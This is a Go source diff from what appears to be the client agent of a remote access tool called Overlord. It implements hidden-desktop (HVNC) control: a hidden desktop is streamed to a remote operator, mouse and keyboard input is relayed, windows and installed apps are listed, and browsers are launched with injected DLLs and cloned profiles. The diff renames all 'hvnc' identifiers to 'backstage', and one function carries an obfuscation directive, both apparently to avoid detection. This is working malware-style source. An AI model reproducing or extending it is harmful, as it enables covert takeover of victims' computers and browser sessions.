captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
goSafe("backstage_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
if clone {
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
Type: "hvnc_clone_progress",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
Type: "backstage_clone_progress",
Browser: browser,
Percent: percent,
CopiedBytes: copiedBytes,
@@ -2039,24 +2039,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
}
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
Type: "hvnc_dxgi_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageDXGIStatus{
Type: "backstage_dxgi_status",
Success: success,
GPUPid: gpuPID,
Message: message,
})
}
onLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: browser,
Step: step,
Success: success,
Detail: detail,
})
}
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
}
})
return nil
@@ -2178,7 +2178,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
case "virtual_request_keyframe":
log.Printf("hidden: request full frame")
capture.RequestHVNCFullFrame()
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "virtual_mouse_move":
@@ -2302,9 +2302,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
goSafe("virtual_window_list", nil, func() {
windows, monitors := capture.VirtualEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
@@ -2315,9 +2315,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
@@ -2327,8 +2327,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
@@ -71,8 +71,8 @@ func isInputCommand(cmdType string) bool {
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
"backstage_mouse_move", "backstage_mouse_down", "backstage_mouse_up",
"backstage_mouse_wheel", "backstage_key_down", "backstage_key_up":
return true
}
return false
-129
View File
@@ -1,129 +0,0 @@
package handlers
import (
"context"
"log"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
hvncPersistedDisplayValue int
hvncPersistedDisplayMu sync.Mutex
hvncTargetFPS atomic.Int64
)
func persistHVNCDisplaySelection(display int) {
hvncPersistedDisplayMu.Lock()
hvncPersistedDisplayValue = display
hvncPersistedDisplayMu.Unlock()
}
func GetPersistedHVNCDisplay() int {
hvncPersistedDisplayMu.Lock()
defer hvncPersistedDisplayMu.Unlock()
return hvncPersistedDisplayValue
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := activeHVNCTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("hvnc: starting stream (target fps %d)", fps)
if err := capture.InitializeHVNCDesktop(); err != nil {
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
return err
}
if autoStartExplorer {
goSafe("hvnc auto-start explorer", nil, func() {
if err := capture.HVNCAutoStartExplorer(); err != nil {
log.Printf("hvnc: auto-start explorer error: %v", err)
}
})
}
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
case <-ticker.C:
fps := activeHVNCTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("hvnc: target fps changed to %d", fps)
}
if err := capture.NowHVNC(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("hvnc: stopping stream")
capture.CleanupHVNCDesktop()
return nil
}
log.Printf("hvnc: capture error: %v", err)
}
}
}
}
func activeHVNCTargetFPS() int {
if fps := int(hvncTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
return SetHVNCTargetFPS(fps)
}
func SetHVNCTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
hvncTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.HVNCSelectedDisplay
maxDisplays := capture.HVNCMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.HVNCSelectedDisplay = display
persistHVNCDisplaySelection(display)
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCMouseControl = enabled
log.Printf("hvnc: mouse control %v", enabled)
return nil
}
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCKeyboardControl = enabled
log.Printf("hvnc: keyboard control %v", enabled)
return nil
}
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.HVNCCursorCapture = enabled
capture.SetHVNCCursorCapture(enabled)
log.Printf("hvnc: cursor capture %v", enabled)
return nil
}
@@ -1,10 +0,0 @@
//go:build !windows
package handlers
func setCursorPosHVNC(x, y int32) {}
func sendMouseDownHVNC(button int) {}
func sendMouseUpHVNC(button int) {}
func sendKeyDownHVNC(vk uint16) {}
func sendKeyUpHVNC(vk uint16) {}
func keyCodeToVKHVNC(code string) uint16 { return 0 }
@@ -417,7 +417,7 @@ type appWithIcon struct {
func getInstalledAppsWithIcons() []appWithIcon {
apps := enumerateInstalledApps()
log.Printf("hvnc: enumerated %d installed apps, extracting icons", len(apps))
log.Printf("backstage: enumerated %d installed apps, extracting icons", len(apps))
out := make([]appWithIcon, len(apps))
for i, app := range apps {
+6 -6
View File
@@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "hvnc":
return webrtcpub.KindHVNC
case "backstage":
return webrtcpub.Kindbackstage
case "webcam":
return webrtcpub.KindWebcam
case "audio":
@@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
@@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
return nil
}
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
+8 -8
View File
@@ -27,14 +27,14 @@ type Env struct {
DesktopCancel context.CancelFunc
DesktopDone chan struct{}
DesktopMu sync.Mutex
// HVNC fields
HVNCSelectedDisplay int
HVNCMouseControl bool
HVNCKeyboardControl bool
HVNCCursorCapture bool
HVNCCancel context.CancelFunc
HVNCDone chan struct{}
HVNCMu sync.Mutex
// backstage fields
BackstageSelectedDisplay int
BackstageMouseControl bool
BackstageKeyboardControl bool
BackstageCursorCapture bool
BackstageCancel context.CancelFunc
BackstageDone chan struct{}
BackstageMu sync.Mutex
// Virtual mode fields
VirtualMouseControl bool
VirtualKeyboardControl bool
+1 -1
View File
@@ -10,7 +10,7 @@ type Kind string
const (
KindDesktop Kind = "desktop"
KindHVNC Kind = "hvnc"
Kindbackstage Kind = "backstage"
KindWebcam Kind = "webcam"
KindAudio Kind = "audio"
)
+14 -14
View File
@@ -110,7 +110,7 @@ type FrameHeader struct {
Monitor int `msgpack:"monitor"`
FPS int `msgpack:"fps"`
Format string `msgpack:"format"`
HVNC bool `msgpack:"hvnc,omitempty"`
Backstage bool `msgpack:"backstage,omitempty"`
Webcam bool `msgpack:"webcam,omitempty"`
}
@@ -346,7 +346,7 @@ type WebcamDevices struct {
Selected int `msgpack:"selected"`
}
type HVNCCloneProgress struct {
type BackstageCloneProgress struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Percent int `msgpack:"percent"`
@@ -355,38 +355,38 @@ type HVNCCloneProgress struct {
Status string `msgpack:"status"`
}
type HVNCDXGIStatus struct {
type BackstageDXGIStatus struct {
Type string `msgpack:"type"`
Success bool `msgpack:"success"`
GPUPid uint32 `msgpack:"gpuPid"`
Message string `msgpack:"message"`
}
type HVNCLookupResult struct {
type BackstageLookupResult struct {
Type string `msgpack:"type"`
Exe string `msgpack:"exe"`
Path string `msgpack:"path"`
Done bool `msgpack:"done"`
}
type HVNCBrowserCheckResult struct {
type BackstageBrowserCheckResult struct {
Type string `msgpack:"type"`
Browsers map[string]bool `msgpack:"browsers"`
}
type HVNCInstalledApp struct {
type BackstageInstalledApp struct {
Name string `msgpack:"name"`
ExePath string `msgpack:"exePath"`
Icon string `msgpack:"icon"`
}
type HVNCInstalledAppsResult struct {
type BackstageInstalledAppsResult struct {
Type string `msgpack:"type"`
Apps []HVNCInstalledApp `msgpack:"apps"`
Apps []BackstageInstalledApp `msgpack:"apps"`
Done bool `msgpack:"done"`
}
type HVNCBrowserLaunchStatus struct {
type BackstageBrowserLaunchStatus struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Step string `msgpack:"step"`
@@ -394,7 +394,7 @@ type HVNCBrowserLaunchStatus struct {
Detail string `msgpack:"detail"`
}
type HVNCWindowEntry struct {
type BackstageWindowEntry struct {
Title string `msgpack:"title"`
X int `msgpack:"x"`
Y int `msgpack:"y"`
@@ -405,7 +405,7 @@ type HVNCWindowEntry struct {
Monitor int `msgpack:"monitor"`
}
type HVNCMonitorEntry struct {
type BackstageMonitorEntry struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
X int `msgpack:"x"`
@@ -415,10 +415,10 @@ type HVNCMonitorEntry struct {
Primary bool `msgpack:"primary"`
}
type HVNCWindowListResult struct {
type BackstageWindowListResult struct {
Type string `msgpack:"type"`
Windows []HVNCWindowEntry `msgpack:"windows"`
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
Windows []BackstageWindowEntry `msgpack:"windows"`
Monitors []BackstageMonitorEntry `msgpack:"monitors"`
}
type ClipboardContent struct {